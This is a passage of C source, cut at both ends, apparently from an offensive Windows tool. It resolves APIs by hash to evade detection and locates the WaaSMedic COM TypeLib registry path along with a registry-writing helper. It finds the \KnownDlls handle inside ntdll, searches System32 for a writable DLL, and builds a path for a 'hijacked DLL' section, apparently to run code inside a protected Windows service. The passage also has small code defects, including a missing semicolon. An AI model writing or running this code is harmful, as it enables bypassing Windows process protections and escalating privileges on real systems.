ServiceName);\n\n    return ret_val;\n}\n\n// https://docs.microsoft.com/en-us/windows/win32/services/starting-a-service\nBOOL start_service_by_name(\n    IN LPCWSTR ServiceName,\n    IN BOOL Wait)\n{\n    BOOL                   ret_val        = FALSE;\n    BOOL                   success        = FALSE;\n    SC_HANDLE              hService       = NULL;\n    SERVICE_STATUS_PROCESS ssp            = { 0 };\n    DWORD64                dwStartTime    = 0;\n    DWORD                  dwWaitTime     = 0;\n\n    GetTickCount64_t     GetTickCount64     = NULL;\n    StartServiceW_t      StartServiceW      = NULL;\n    Sleep_t              Sleep              = NULL;\n    CloseServiceHandle_t CloseServiceHandle = NULL;\n\n    GetTickCount64 = (GetTickCount64_t)(ULONG_PTR)get_function_address(\n        get_library_address(KERNEL32_DLL, TRUE),\n        GetTickCount64_SW2_HASH,\n        0);\n    if (!GetTickCount64)\n    {\n        api_not_found(\"GetTickCount64\");\n        goto cleanup;\n    }\n\n    StartServiceW = (StartServiceW_t)(ULONG_PTR)get_function_address(\n        get_library_address(ADVAPI32_DLL, TRUE),\n        StartServiceW_SW2_HASH,\n        0);\n    if (!StartServiceW)\n    {\n        api_not_found(\"StartServiceW\");\n        goto cleanup;\n    }\n\n    Sleep = (Sleep_t)(ULONG_PTR)get_function_address(\n        get_library_address(KERNEL32_DLL, TRUE),\n        Sleep_SW2_HASH,\n        0);\n    if (!Sleep)\n    {\n        api_not_found(\"Sleep\");\n        goto cleanup;\n    }\n\n    CloseServiceHandle = (CloseServiceHandle_t)(ULONG_PTR)get_function_address(\n        get_library_address(ADVAPI32_DLL, TRUE),\n        CloseServiceHandle_SW2_HASH,\n        0);\n    if (!CloseServiceHandle)\n    {\n        api_not_found(\"CloseServiceHandle\");\n        goto cleanup;\n    }\n\n    dwStartTime = GetTickCount64();\n\n    success = get_service_handle(ServiceName, SERVICE_QUERY_STATUS | SERVICE_START, &hService);\n    if (!success)\n        goto cleanup;\n\n    success = StartServiceW(hService, 0, NULL);\n    if (!success)\n        goto cleanup;\n\n    success = query_service_status_process_by_handle(hService, &ssp);\n    if (!success)\n        goto cleanup;\n\n    if (Wait)\n    {\n        while (ssp.dwCurrentState != SERVICE_RUNNING)\n        {\n            dwWaitTime = ssp.dwWaitHint / 10;\n\n            if (dwWaitTime < 1000)\n                dwWaitTime = 1000;\n            else if (dwWaitTime > 10000)\n                dwWaitTime = 10000;\n\n            Sleep(dwWaitTime);\n\n            if (!query_service_status_process_by_handle(hService, &ssp))\n                break;\n\n            if (GetTickCount64() - dwStartTime > TIMEOUT)\n            {\n                break;\n            }\n        }\n\n        ret_val = ssp.dwCurrentState == SERVICE_RUNNING;\n    }\n    else\n    {\n        ret_val = TRUE;\n    }\n\ncleanup:\n    if (hService) CloseServiceHandle(hService);\n\n    return ret_val;\n}\n\nBOOL get_service_process_id(\n    IN LPCWSTR ServiceName,\n    OUT LPDWORD ProcessId)\n{\n    BOOL                   ret_val = FALSE;\n    SERVICE_STATUS_PROCESS ssp     = { 0 };\n\n    *ProcessId = 0;\n\n    ret_val = query_service_status_process_by_name(ServiceName, &ssp);\n    *ProcessId = ssp.dwProcessId;\n\n    if (ret_val)\n    {\n        DPRINT(\"PID of service with name '%ls': %ld\", ServiceName, *ProcessId);\n    }\n\n    return ret_val;\n}\n\nVOID safe_free(\n    IN PVOID* Memory)\n{\n    if (Memory && *Memory)\n    {\n        intFree(*Memory);\n        *Memory = NULL;\n    }\n}\n\nVOID safe_release(\n    IN IUnknown** Interface)\n{\n    if (Interface && *Interface)\n    {\n        (*Interface)->lpVtbl->Release((*Interface));\n        *Interface = NULL;\n    }\n}\n\nBOOL get_type_lib_reg_value_path(\n    OUT LPWSTR* TypeLibRegValuePath)\n{\n    BOOL       ret_val          = FALSE;\n    BOOL       success          = FALSE;\n    LPWSTR     pwszRegPath      = NULL;\n    LPWSTR     pwszTypeLibGuid  = NULL;\n    RPC_WSTR   InterfaceGuidStr = NULL;\n    UUID       InterfaceGuid    = IID_WAASREMEDIATIONEX;\n    RPC_STATUS rpc_status       = RPC_S_OK;\n\n    UuidToStringW_t  UuidToStringW  = NULL;\n    RpcStringFreeW_t RpcStringFreeW = NULL;\n\n    UuidToStringW = (UuidToStringW_t)(ULONG_PTR)get_function_address(\n        get_library_address(RPCRT4_DLL, TRUE),\n        UuidToStringW_SW2_HASH,\n        0);\n    if (!UuidToStringW)\n    {\n        api_not_found(\"UuidToStringW\");\n        goto cleanup;\n    }\n\n    RpcStringFreeW = (RpcStringFreeW_t)(ULONG_PTR)get_function_address(\n        get_library_address(RPCRT4_DLL, TRUE),\n        RpcStringFreeW_SW2_HASH,\n        0);\n    if (!RpcStringFreeW)\n    {\n        api_not_found(\"RpcStringFreeW\");\n        goto cleanup;\n    }\n\n    //\n    // HKLM\\SOFTWARE\\Classes\\Interface\\{B4C1D279-966E-44E9-A9C5-CCAF4A77023D}\\TypeLib\n    //      (Default) -> {3ff1aab8-f3d8-11d4-825d-00104b3646c0}\n    // HKLM\\SOFTWARE\\Classes\\TypeLib\\{3ff1aab8-f3d8-11d4-825d-00104b3646c0}\\1.0\\0\\Win64\n    //      (Default) -> %SystemRoot%\\system32\\WaaSMedicPS.dll\n    //\n\n    pwszRegPath = intAlloc((MAX_PATH + 1) * sizeof(WCHAR));\n    if (!pwszRegPath)\n    {\n        malloc_failed();\n        goto cleanup;\n    }\n\n    rpc_status = UuidToStringW(&InterfaceGuid, &InterfaceGuidStr);\n    if (rpc_status != RPC_S_OK)\n    {\n        function_failed(\"UuidToStringW\");\n        goto cleanup;\n    }\n\n    swprintf_s(pwszRegPath, MAX_PATH, L\"SOFTWARE\\\\Classes\\\\Interface\\\\{%ws}\\\\TypeLib\", (LPWSTR)InterfaceGuidStr);\n\n    success = get_registry_string_value(HKEY_LOCAL_MACHINE, pwszRegPath, NULL, &pwszTypeLibGuid);\n    if (!success)\n        goto cleanup;\n\n    *TypeLibRegValuePath = intAlloc(MAX_PATH + 2);\n    if (!*TypeLibRegValuePath)\n    {\n        malloc_failed();\n        goto cleanup;\n    }\n\n    swprintf_s(*TypeLibRegValuePath, MAX_PATH, L\"SOFTWARE\\\\Classes\\\\TypeLib\\\\%ws\\\\1.0\\\\0\\\\Win64\", pwszTypeLibGuid);\n\n    ret_val = TRUE;\n\ncleanup:\n    if (InterfaceGuidStr) RpcStringFreeW(&InterfaceGuidStr);\n    safe_free((PVOID*)&pwszTypeLibGuid);\n    safe_free((PVOID*)&pwszRegPath);\n\n    if (!ret_val && *TypeLibRegValuePath)\n    {\n        intFree(*TypeLibRegValuePath);\n        *TypeLibRegValuePath = NULL;\n    }\n\n    if (ret_val)\n    {\n        DPRINT(\"Path: %ls\", *TypeLibRegValuePath);\n    }\n\n    return ret_val;\n}\n\nBOOL set_registry_string_value(\n    IN HKEY Key,\n    IN LPCWSTR SubKey,\n    IN LPCWSTR ValueName,\n    IN LPCWSTR ValueData)\n{\n    BOOL    ret_val    = FALSE;\n    LSTATUS status     = ERROR_SUCCESS;\n    HKEY    hKey       = NULL;\n    DWORD   dwDataSize = 0;\n\n    RegSetValueExW_t RegSetValueExW = NULL;\n    RegOpenKeyExW_t  RegOpenKeyExW  = NULL;\n    RegCloseKey_t    RegCloseKey    = NULL;\n\n    RegSetValueExW = get_function_address(\n        get_library_address(ADVAPI32_DLL, TRUE),\n        RegSetValueExW_SW2_HASH,\n        0);\n    if (!RegSetValueExW)\n    {\n        api_not_found(\"RegSetValueExW\");\n        goto cleanup;\n    }\n\n    RegOpenKeyExW = get_function_address(\n        get_library_address(ADVAPI32_DLL, TRUE),\n        RegOpenKeyExW_SW2_HASH,\n        0);\n    if (!RegOpenKeyExW)\n    {\n        api_not_found(\"RegOpenKeyExW\");\n        goto cleanup;\n    }\n\n    RegCloseKey = get_function_address(\n        get_library_address(ADVAPI32_DLL, TRUE),\n        RegCloseKey_SW2_HASH,\n        0);\n    if (!RegCloseKey)\n    {\n        api_not_found(\"RegCloseKey\");\n        goto cleanup;\n    }\n\n    dwDataSize = ((DWORD)wcslen(ValueData) + 1) * sizeof(WCHAR);\n\n    status = RegOpenKeyExW(Key, SubKey, 0, KEY_SET_VALUE, &hKey);\n    if (status != ERROR_SUCCESS)\n    {\n        function_failed(\"RegOpenKeyExW\");\n        goto cleanup;\n    }\n\n    status = RegSetValueExW(hKey, ValueName, 0, REG_SZ, (BYTE*)ValueData, dwDataSize);\n    if (status != ERROR_SUCCESS)\n    {\n        function_failed(\"RegSetValueExW\");\n        goto cleanup;\n    }\n\n    ret_val = TRUE;\n\ncleanup:\n    if (hKey)\n        RegCloseKey(hKey);\n\n    if (ret_val)\n    {\n        DPRINT(\"Key: %ls | Value: %ls | Data: %ls\", SubKey, ValueName, ValueData);\n    }\n\n    return ret_val;\n}\n\nBOOL get_registry_string_value(\n    IN HKEY Key,\n    IN LPCWSTR SubKey,\n    IN LPCWSTR ValueName,\n    OUT LPWSTR* ValueData)\n{\n    BOOL    ret_val        = FALSE;\n    LSTATUS status         = ERROR_SUCCESS;\n    HKEY    hKey           = NULL;\n    DWORD   dwDataSize     = 0;\n    LPWSTR  pwszStringData = NULL;\n\n    RegOpenKeyExW_t    RegOpenKeyExW    = NULL;\n    RegQueryValueExW_t RegQueryValueExW = NULL;\n    RegCloseKey_t      RegCloseKey      = NULL;\n\n    RegOpenKeyExW = get_function_address(\n        get_library_address(ADVAPI32_DLL, TRUE),\n        RegOpenKeyExW_SW2_HASH,\n        0);\n    if (!RegOpenKeyExW)\n    {\n        api_not_found(\"RegOpenKeyExW\");\n        goto cleanup;\n    }\n\n    RegQueryValueExW = get_function_address(\n        get_library_address(ADVAPI32_DLL, TRUE),\n        RegQueryValueExW_SW2_HASH,\n        0);\n    if (!RegQueryValueExW)\n    {\n        api_not_found(\"RegQueryValueExW\");\n        goto cleanup;\n    }\n\n    RegCloseKey = get_function_address(\n        get_library_address(ADVAPI32_DLL, TRUE),\n        RegCloseKey_SW2_HASH,\n        0);\n    if (!RegCloseKey)\n    {\n        api_not_found(\"RegCloseKey\");\n        goto cleanup;\n    }\n\n    status = RegOpenKeyExW(Key, SubKey, 0, KEY_QUERY_VALUE, &hKey);\n    if (status != ERROR_SUCCESS)\n    {\n        function_failed(\"RegOpenKeyExW\");\n        goto cleanup;\n    }\n\n    status = RegQueryValueExW(hKey, ValueName, NULL, NULL, NULL, &dwDataSize);\n    if (status != ERROR_SUCCESS)\n    {\n        function_failed(\"RegQueryValueExW\");\n        goto cleanup;\n    }\n\n    pwszStringData = intAlloc(dwDataSize);\n    if (!pwszStringData)\n    {\n        malloc_failed();\n        goto cleanup;\n    }\n    \n    status = RegQueryValueExW(hKey, ValueName, NULL, NULL, (LPBYTE)pwszStringData, &dwDataSize);\n    if (status != ERROR_SUCCESS)\n    {\n        function_failed(\"RegQueryValueExW\");\n        goto cleanup;\n    }\n    \n    *ValueData = pwszStringData;\n    ret_val = TRUE;\n\ncleanup:\n    if (!ret_val && pwszStringData) intFree(pwszStringData);\n    if (hKey) RegCloseKey(hKey);\n\n    if (ret_val)\n    {\n        DPRINT(\"Key: %ls | Value: %ls | Data: %ls\", SubKey, ValueName, pwszStringData);\n    }\n\n    return ret_val;\n}\n\n\nBOOL generate_temp_path(\n    OUT LPWSTR* Buffer)\n{\n    BOOL   ret_val        = FALSE;\n    DWORD  dwBufferLength = MAX_PATH + 1;\n    LPWSTR pwszTempPath   = NULL;\n    DWORD  dwRet          = 0;\n    UINT   uintRet        = 0;\n\n    GetTempPathW_t     GetTempPathW     = NULL;\n    GetTempFileNameW_t GetTempFileNameW = NULL;\n\n    GetTempPathW = (GetTempPathW_t)(ULONG_PTR)get_function_address(\n        get_library_address(KERNEL32_DLL, TRUE),\n        GetTempPathW_SW2_HASH,\n        0);\n    if (!GetTempPathW)\n    {\n        api_not_found(\"GetTempPathW\");\n        goto cleanup;\n    }\n\n    GetTempFileNameW = (GetTempFileNameW_t)(ULONG_PTR)get_function_address(\n        get_library_address(KERNEL32_DLL, TRUE),\n        GetTempFileNameW_SW2_HASH,\n        0);\n    if (!GetTempFileNameW)\n    {\n        api_not_found(\"GetTempFileNameW\");\n        goto cleanup;\n    }\n\n    pwszTempPath = intAlloc(dwBufferLength * sizeof(WCHAR));\n    if (!pwszTempPath)\n    {\n        malloc_failed()\n        goto cleanup;\n    }\n\n    *Buffer = intAlloc((MAX_PATH + 1) * sizeof(WCHAR));\n    if (!*Buffer)\n        goto cleanup;\n\n    dwRet = GetTempPathW(dwBufferLength, pwszTempPath);\n    if (!dwRet)\n    {\n        function_failed(\"GetTempPathW\");\n        goto cleanup;\n    }\n\n    uintRet = GetTempFileNameW(pwszTempPath, L\"\", 0, *Buffer);\n    if (!uintRet)\n    {\n        function_failed(\"GetTempFileNameW\");\n        goto cleanup;\n    }\n\n    ret_val = TRUE;\n\ncleanup:\n    safe_free((PVOID*)&pwszTempPath);\n    if (!ret_val)\n        safe_free((PVOID*)Buffer);\n\n    if (ret_val)\n    {\n        DPRINT(\"Temp path: %ls\", *Buffer);\n    }\n\n    return ret_val;\n}\n\nBOOL get_known_dlls_handle_address(\n    IN PVOID* KnownDllDirectoryHandleAddr)\n{\n    BOOL                     ret_val                      = FALSE;\n    HMODULE                  hNtdll                       = NULL;\n    DWORD                    i                            = 0;\n    DWORD                    dwSectionSize                = 0;\n    DWORD                    dwIndex                      = 0;\n    DWORD                    dwMaxSize                    = 0x1000;\n    DWORD                    dwCurrentCode                = 0;\n    LPVOID                   pLdrGetKnownDllSectionHandle = NULL;\n    LPVOID                   pSectionAddress              = NULL;\n    LPVOID                   pKnownDllsHandleAddr         = NULL;\n    LPVOID                   pDataAddr                    = NULL;\n    PIMAGE_DOS_HEADER        DosHeader                    = NULL;\n    PIMAGE_NT_HEADERS        NtHeaders                    = NULL;\n    PIMAGE_SECTION_HEADER    SectionHeader                = NULL;\n    POBJECT_NAME_INFORMATION ObjectInfo                   = NULL;\n\n    hNtdll = get_library_address(NTDLL_DLL, TRUE);\n\n    pLdrGetKnownDllSectionHandle = get_function_address(\n        hNtdll,\n        LdrGetKnownDllSectionHandle_SW2_HASH,\n        0);\n    if (!pLdrGetKnownDllSectionHandle)\n    {\n        api_not_found(\"LdrGetKnownDllSectionHandle\");\n        goto cleanup;\n    }\n\n    DosHeader     = (PIMAGE_DOS_HEADER)hNtdll;\n    NtHeaders     = RVA(PIMAGE_NT_HEADERS, hNtdll, DosHeader->e_lfanew);\n    SectionHeader = (PIMAGE_SECTION_HEADER)((LPBYTE)&NtHeaders->OptionalHeader + NtHeaders->FileHeader.SizeOfOptionalHeader);\n\n    for (i = 0; i < NtHeaders->FileHeader.NumberOfSections; i++)\n    {\n        if (!memcmp((char*)SectionHeader[i].Name, \".data\", 6))\n        {\n            pSectionAddress = RVA(PULONG_PTR, hNtdll, SectionHeader[i].VirtualAddress);\n            dwSectionSize = SectionHeader[i].Misc.VirtualSize;\n            break;\n        }\n    }\n\n    if (pSectionAddress == 0 || dwSectionSize == 0)\n    {\n        DPRINT_ERR(\"Failed to find the .text section of ntdll\");\n        goto cleanup;\n    }\n\n    ObjectInfo = intAlloc(1024);\n    if (!ObjectInfo)\n    {\n        malloc_failed();\n        goto cleanup;\n    }\n\n    dwIndex = 0;\n    do\n    {\n        // If we reach the RET instruction, we found the end of the function.\n        if (*(PWORD)pLdrGetKnownDllSectionHandle == 0xccc3 || dwIndex >= dwMaxSize)\n            break;\n\n        // 1. Read the 4 bytes at the current position => Potential RIP relative offset.\n        // 2. Add the offset to the current position => Absolute address.\n        // 3. Check if the calculated address is in the .data section.\n        // 4. If so, we have a candidate, check if we can find the \\KnownDlls handle at this address.\n        dwCurrentCode = *(PDWORD)pLdrGetKnownDllSectionHandle;\n        pDataAddr = (PBYTE)pLdrGetKnownDllSectionHandle + sizeof(dwCurrentCode) + dwCurrentCode;\n        if ((ULONG_PTR)pDataAddr >= (ULONG_PTR)pSectionAddress && (ULONG_PTR)pDataAddr < (ULONG_PTR)((PBYTE)pSectionAddress + dwSectionSize))\n        {\n            if (NT_SUCCESS(NtQueryObject_(*(LPHANDLE)pDataAddr, ObjectNameInformation, ObjectInfo, MAX_PATH, NULL)))\n            {\n                if (ObjectInfo->Name.Buffer && !wcscmp(ObjectInfo->Name.Buffer, STR_KNOWNDLLS))\n                {\n                    pKnownDllsHandleAddr = pDataAddr;\n                    break;\n                }\n            }\n        }\n\n        pLdrGetKnownDllSectionHandle = (PBYTE)pLdrGetKnownDllSectionHandle + 1;\n        dwIndex += 1;\n\n    } while (!pKnownDllsHandleAddr);\n\n    if (!pKnownDllsHandleAddr)\n        goto cleanup;\n\n    *KnownDllDirectoryHandleAddr = pKnownDllsHandleAddr;\n    ret_val = TRUE;\n\ncleanup:\n    safe_free((PVOID*)&ObjectInfo);\n\n    return ret_val;\n}\n\nVOID safe_close_handle(\n    IN PHANDLE Handle)\n{\n    if (Handle && *Handle && *Handle != INVALID_HANDLE_VALUE)\n    {\n        NtClose(*Handle);\n        *Handle = NULL;\n    }\n}\n\nBOOL find_writable_system_dll(\n    IN DWORD MinSize,\n    OUT LPWSTR* FilePath)\n{\n    BOOL             ret_val                  = FALSE;\n    BOOL             bCurrentDirectoryChanged = FALSE;\n    LPWSTR           pwszCurrentDirectory     = NULL;\n    LPWSTR           pwszSystemDirectory      = NULL;\n    LPWSTR           pwszFilePath             = NULL;\n    WIN32_FIND_DATAW wfd                      = { 0 };\n    HANDLE           hFind                    = NULL;\n    HANDLE           hFile                    = NULL;\n    DWORD            dwFileSize               = 0;\n\n    FindFirstFileW_t       FindFirstFileW       = NULL;\n    FindNextFileW_t        FindNextFileW        = NULL;\n    FindClose_t            FindClose            = NULL;\n    GetCurrentDirectoryW_t GetCurrentDirectoryW = NULL;\n    GetSystemDirectoryW_t  GetSystemDirectoryW  = NULL;\n    SetCurrentDirectoryW_t SetCurrentDirectoryW = NULL;\n    CreateFileW_t          CreateFileW          = NULL;\n    GetFileSize_t          GetFileSize          = NULL;\n\n    FindFirstFileW = (FindFirstFileW_t)(ULONG_PTR)get_function_address(\n        get_library_address(KERNEL32_DLL, TRUE),\n        FindFirstFileW_SW2_HASH,\n        0);\n    if (!FindFirstFileW)\n    {\n        api_not_found(\"FindFirstFileW\");\n        goto cleanup;\n    }\n\n    FindNextFileW = (FindNextFileW_t)(ULONG_PTR)get_function_address(\n        get_library_address(KERNEL32_DLL, TRUE),\n        FindNextFileW_SW2_HASH,\n        0);\n    if (!FindNextFileW)\n    {\n        api_not_found(\"FindNextFileW\");\n        goto cleanup;\n    }\n\n    FindClose = (FindClose_t)(ULONG_PTR)get_function_address(\n        get_library_address(KERNEL32_DLL, TRUE),\n        FindClose_SW2_HASH,\n        0);\n    if (!FindClose)\n    {\n        api_not_found(\"FindClose\");\n        goto cleanup;\n    }\n\n    GetCurrentDirectoryW = (GetCurrentDirectoryW_t)(ULONG_PTR)get_function_address(\n        get_library_address(KERNEL32_DLL, TRUE),\n        GetCurrentDirectoryW_SW2_HASH,\n        0);\n    if (!GetCurrentDirectoryW)\n    {\n        api_not_found(\"GetCurrentDirectoryW\");\n        goto cleanup;\n    }\n\n    SetCurrentDirectoryW = (SetCurrentDirectoryW_t)(ULONG_PTR)get_function_address(\n        get_library_address(KERNEL32_DLL, TRUE),\n        SetCurrentDirectoryW_SW2_HASH,\n        0);\n    if (!SetCurrentDirectoryW)\n    {\n        api_not_found(\"SetCurrentDirectoryW\");\n        goto cleanup;\n    }\n\n    GetSystemDirectoryW = (GetSystemDirectoryW_t)(ULONG_PTR)get_function_address(\n        get_library_address(KERNEL32_DLL, TRUE),\n        GetSystemDirectoryW_SW2_HASH,\n        0);\n    if (!GetSystemDirectoryW)\n    {\n        api_not_found(\"GetSystemDirectoryW\");\n        goto cleanup;\n    }\n\n    CreateFileW = (CreateFileW_t)(ULONG_PTR)get_function_address(\n        get_library_address(KERNEL32_DLL, TRUE),\n        CreateFileW_SW2_HASH,\n        0);\n    if (!CreateFileW)\n    {\n        api_not_found(\"CreateFileW\");\n        goto cleanup;\n    }\n\n    GetFileSize = (GetFileSize_t)(ULONG_PTR)get_function_address(\n        get_library_address(KERNEL32_DLL, TRUE),\n        GetFileSize_SW2_HASH,\n        0);\n    if (!GetFileSize)\n    {\n        api_not_found(\"GetFileSize\");\n        goto cleanup;\n    }\n\n    // TODO: add syscalls\n\n    pwszCurrentDirectory = intAlloc((MAX_PATH + 1) * sizeof(WCHAR));\n    if (!pwszCurrentDirectory)\n    {\n        malloc_failed();\n        goto cleanup;\n    }\n\n    pwszSystemDirectory = intAlloc((MAX_PATH + 1) * sizeof(WCHAR));\n    if (!pwszSystemDirectory)\n    {\n        malloc_failed();\n        goto cleanup;\n    }\n\n    pwszFilePath = intAlloc((MAX_PATH + 1) * sizeof(WCHAR));\n    if (!pwszFilePath)\n    {\n        malloc_failed();\n        goto cleanup;\n    }\n\n    GetCurrentDirectoryW(MAX_PATH, pwszCurrentDirectory);\n    GetSystemDirectoryW(pwszSystemDirectory, MAX_PATH);\n    SetCurrentDirectoryW(pwszSystemDirectory);\n    \n    bCurrentDirectoryChanged = TRUE;\n\n    hFind = FindFirstFileW(L\"*.dll\", &wfd);\n    if (hFind == INVALID_HANDLE_VALUE)\n        goto cleanup;\n\n    do\n    {\n        hFile = CreateFileW(wfd.cFileName, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);\n        if (hFile== INVALID_HANDLE_VALUE)\n            goto loopcleanup;\n\n        dwFileSize = GetFileSize(hFile, NULL);\n\n        if (dwFileSize == INVALID_FILE_SIZE || dwFileSize < MinSize)\n            goto loopcleanup;\n\n        *FilePath = intAlloc((MAX_PATH + 1) * sizeof(WCHAR));\n        if (!*FilePath)\n        {\n            malloc_failed();\n            goto loopcleanup;\n        }\n\n        swprintf_s(*FilePath, MAX_PATH, L\"%ws\\\\%ws\", pwszSystemDirectory, wfd.cFileName);\n        ret_val = TRUE;\n\n    loopcleanup:\n        safe_close_handle(&hFile);\n\n    } while (FindNextFileW(hFind, &wfd) && !ret_val);\n\ncleanup:\n    if (bCurrentDirectoryChanged) SetCurrentDirectoryW(pwszCurrentDirectory);\n    if (hFind && hFind != INVALID_HANDLE_VALUE) FindClose(hFind);\n    safe_free((PVOID*)&pwszCurrentDirectory);\n    safe_free((PVOID*)&pwszSystemDirectory);\n    safe_free((PVOID*)&pwszFilePath);\n\n    if (ret_val)\n    {\n        DPRINT(\"File: %ls\", *FilePath);\n    }\n\n    return ret_val;\n}\n\nBOOL get_hijacked_dll_name(\n    OUT LPWSTR* HijackedDllName,\n    OUT LPWSTR* HijackedDllSectionPath)\n{\n    BOOL ret_val = FALSE;\n\n    *HijackedDllName = intAlloc((MAX_PATH + 1) * sizeof(WCHAR));\n    if (!*HijackedDllName)\n    {\n        malloc_failed();\n        goto cleanup;\n    }\n\n    *HijackedDllSectionPath = intAlloc((MAX_PATH + 1) * sizeof(WCHAR));\n    if (!*HijackedDllSectionPath)\n    {\n        malloc_failed();\n        goto cleanup;\n    }\n\n    swprintf_s(*HijackedDllName, MAX_PATH, L\"%ws\", STR_HIJACKED_DLL_NAME);\n    swprintf_s(*HijackedDllSectionPath, MAX_PATH, L\"\\\\%ws\\\\%ws\", STR_BASENAMEDOBJECTS, *HijackedDllName);\n\n    ret_val = TRUE;\n\ncleanup:\n    if (!ret_val && *HijackedDllName)\n    {\n        intFree(*HijackedDllName);\n        *HijackedDllName = NULL;\n    }\n    if (!ret_val && *HijackedDllSectionPath)\n    {\n        intFree(*HijackedDllSectionPath);\n        *HijackedDllSectionPath = NULL;\n    }\n\n    return ret_val;\n}\n\nBOOL get_windows_temp_directory(\n    OUT LPWSTR* Path)\n{\n    BOOL   ret_val  = FALSE;\n    LPWSTR pwszPath = NULL;\n    UINT   ret      = 0;\n\n    GetWindowsDirectoryW_t GetWindowsDirectoryW = NULL;\n\n    GetWindowsDirectoryW = (GetWindowsDirectoryW_t)(ULONG_PTR)get_function_address(\n        get_library_address(KERNEL32_DLL, TRUE),\n        GetWindowsDirectoryW_SW2_HASH,\n        0);\n    if (!GetWindowsDirectoryW)\n    {\n        api_not_found(\"GetWindowsDirectoryW\");\n        goto cleanup;\n    }\n\n    pwszPath = intAlloc((MAX_PATH + 1) * sizeof(WCHAR));\n    if (!pwszPath)\n    {\n        malloc_failed();\n        goto cleanup;\n    }\n\n    ret = GetWindowsDirectoryW(pwszPath, MAX_PATH);\n    if (!ret)\n    {\n        function_failed(\"GetWindowsDirectoryW\");\n        goto cleanup;\n    }\n\n    swprintf_s(pwszPath, MAX_PATH, L\"%ws\\\\Temp\", pwszPath);\n\n    *Path = pwszPath;\n    ret_val = TRUE;\n\ncleanup:\n    if (!ret_val) safe_free((PVOID*)&pwszPath);\n\n    return ret_val;\n}\n\nBOOL delete_directory(\n    IN LPWSTR Path)\n{\n    BOOL             ret_val        = FALSE;\n    BOOL             success        = FALSE;\n    BOOL             bIsEmpty       = TRUE;\n    HANDLE           hFind          = NULL;\n    LPWSTR           pwszSearchPath = NULL;\n    LPWSTR           pwszFullPath   = NULL;\n    WIN32_FIND_DATAW FindData       = { 0 };\n\n    FindFirstFileW_t   FindFirstFileW   = NULL;\n    FindNextFileW_t    FindNextFileW    = NULL;\n    FindClose_t        FindClose        = NULL;\n    DeleteFileW_t      DeleteFileW      = NULL;\n    RemoveDirectoryW_t RemoveDirectoryW = NULL;\n\n    FindFirstFileW = (FindFirstFileW_t)(ULONG_PTR)get_function_address(\n        get_library_address(KERNEL32_DLL, TRUE),\n        FindFirstFileW_SW2_HASH,\n        0);\n    if (!FindFirstFileW)\n    {\n        api_not_found(\"FindFirstFileW\");\n        goto cleanup;\n    }\n\n    FindNextFileW = (FindNextFileW_t)(ULONG_PTR)get_function_address(\n        get_library_address(KERNEL32_DLL, TRUE),\n        FindNextFileW_SW2_HASH,\n        0);\n    if (!FindNextFileW)\n    {\n        api_not_found(\"FindNextFileW\");\n        goto cleanup;\n    }\n\n    FindClose = (FindClose_t)(ULONG_PTR)get_function_address(\n        get_library_address(KERNEL32_DLL, TRUE),\n        FindClose_SW2_HASH,\n        0);\n    if (!FindClose)\n    {\n        api_not_found(\"FindClose\");\n        goto cleanup;\n    }\n\n    DeleteFileW = (DeleteFileW_t)(ULONG_PTR)get_function_address(\n        get_library_address(KERNEL32_DLL, TRUE),\n        DeleteFileW_SW2_HASH,\n        0);\n    if (!DeleteFileW)\n    {\n        api_not_found(\"DeleteFileW\");\n        goto cleanup;\n    }\n\n    RemoveDirectoryW = (RemoveDirectoryW_t)(ULONG_PTR)get_function_address(\n        get_library_address(KERNEL32_DLL, TRUE),\n        RemoveDirectoryW_SW2_HASH,\n        0);\n    if (!RemoveDirectoryW)\n    {\n        api_not_found(\"RemoveDirectoryW\");\n        goto cleanup;\n    }\n    pwszFullPath = intAlloc((MAX_PATH + 1) * sizeof(WCHAR));\n    if (!pwszFullPath)\n    {\n        malloc_failed();\n        goto cleanup;\n    }\n\n    pwszSearchPath = intAlloc((MAX_PATH + 1) * sizeof(WCHAR));\n    if (!pwszSearchPath)\n    {\n        malloc_failed();\n        goto cleanup;\n    }\n\n    swprintf_s(pwszSearchPath, MAX_PATH, L\"%ws\\\\*\", Path);\n\n    if ((hFind = FindFirstFileW(pwszSearchPath, &FindData)) == INVALID_HANDLE_VALUE)\n    {\n        if (GetLastError() == ERROR_FILE_NOT_FOUND)\n            ret_val = TRUE;\n\n        goto cleanup;\n    }\n\n    do\n    {\n        swprintf_s(pwszFullPath, MAX_PATH, L\"%ws\\\\%ws\", Path, FindData.cFileName);\n\n        if (FindData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)\n        {\n            if (!_wcsicmp(FindData.cFileName, L\".\") || !_wcsicmp(FindData.cFileName, L\"..\"))\n            {\n                continue;\n            }\n\n            if (!delete_directory(pwszFullPath))\n            {\n                bIsEmpty = FALSE;\n            }\n        }\n        else\n        {\n            if (!DeleteFileW(pwszFullPath))\n            {\n                DPRINT_ERR(\"Failed to delete file: %ls\", pwszFullPath);\n                bIsEmpty = FALSE;\n            }\n        }\n\n    } while (FindNextFileW(hFind, &FindData));\n\n    if (bIsEmpty)\n    {\n        success = RemoveDirectoryW(Path);\n        if (!success)\n            goto cleanup;\n    }\n\n    ret_val = TRUE;\n\ncleanup:\n    if (hFind && hFind != INVALID_HANDLE_VALUE) FindClose(hFind);\n    safe_free((PVOID*)&pwszSearchPath);\n    safe_free((PVOID*)&pwszFullPath);\n\n    if (!ret_val)\n    {\n        DPRINT_ERR(\"Failed to delete directory: %ls\", Path);\n    }\n\n    return ret_val;\n}\n\nBOOL find_module_section(\n    IN HMODULE Module,\n    IN LPCSTR SectionName,\n    OUT PULONG_PTR Address,\n    OUT LPDWORD Size)\n{\n    BOOL                  ret_val        = FALSE;\n    DWORD                 dwBufferSize   = PAGE_SIZE;\n    PIMAGE_NT_HEADERS     pNtHeaders     = NULL;\n    PIMAGE_SECTION_HEADER pSectionHeader = NULL;\n    DWORD                 i              = 0;\n    PBYTE                 pBuffer        = NULL;\n\n    RtlImageNtHeader_t RtlImageNtHeader = NULL;\n\n    RtlImageNtHeader = (RtlImageNtHeader_t)(ULONG_PTR)get_function_address(\n        get_library_address(NTDLL_DLL, TRUE),\n        RtlImageNtHeader_SW2_HASH,\n        0);\n    if (!RtlImageNtHeader)\n    {\n        api_not_found(\"RtlImageNtHeader\");\n        goto cleanup;\n    }\n\n    pBuffer = intAlloc(dwBufferSize);\n    if (!pBuffer)\n    {\n        malloc_failed();\n        goto cleanup;\n    }\n\n    pNtHeaders = RtlImageNtHeader(Module);\n    if (!pNtHeaders)\n    {\n        